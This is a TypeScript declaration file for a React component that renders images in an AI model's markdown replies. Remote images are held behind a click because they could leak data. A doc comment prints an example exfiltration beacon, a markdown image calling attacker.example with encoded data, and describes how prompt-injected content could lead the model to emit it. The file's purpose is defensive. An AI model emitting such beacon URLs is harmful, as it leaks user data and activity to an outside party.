import { FC } from 'react';
/**
 * Would rendering this `src` immediately hit a server we do not control?
 *
 * An `<img>` is a GET the browser performs the moment it paints, and the markup
 * here is written by a model that has read tool output, fetched web pages and
 * user-uploaded files. So `![](https://attacker.example/p?d=<whatever the model
 * was talked into encoding>)` is a working exfiltration beacon that also
 * discloses that a HealthyBowl user opened the reply, when, and from which IP —
 * with no click required. `referrerPolicy` does not help: the payload is the URL
 * itself, not the Referer header.
 *
 * `data:` URLs carry their own bytes and reach no network, so those still render
 * straight away — and that is the shape the transport actually emits for inline
 * images (fe-libs `getAssistantMedia`). Anything else is held behind an explicit
 * click, the same bargain email clients have offered for remote images for
 * twenty years. Unparseable input fails CLOSED.
 */
export declare function isRemoteImageSrc(src: string): boolean;
/**
 * Host to name in the "show this?" prompt, so the choice is an informed one.
 *
 * Parsed with NO base URL on purpose. Resolving against `location.href` would
 * make a relative or malformed src inherit OUR hostname, and the prompt would
 * then read "Show image from app.gethealthybowl.com" for something this app does
 * not serve — a prompt that lies is worse than an unnamed one. Absolute http(s)
 * only; everything else falls back to the generic wording.
 */
export declare function imageHostLabel(src: string): string | null;
interface Props {
    /** Resolved `src` — already scheme-checked by the renderer's urlTransform. */
    src?: string;
    alt?: string;
    title?: string;
}
export declare const AssistantMarkdownImage: FC<Props>;
export {};
//# sourceMappingURL=AssistantMarkdownImage.d.ts.map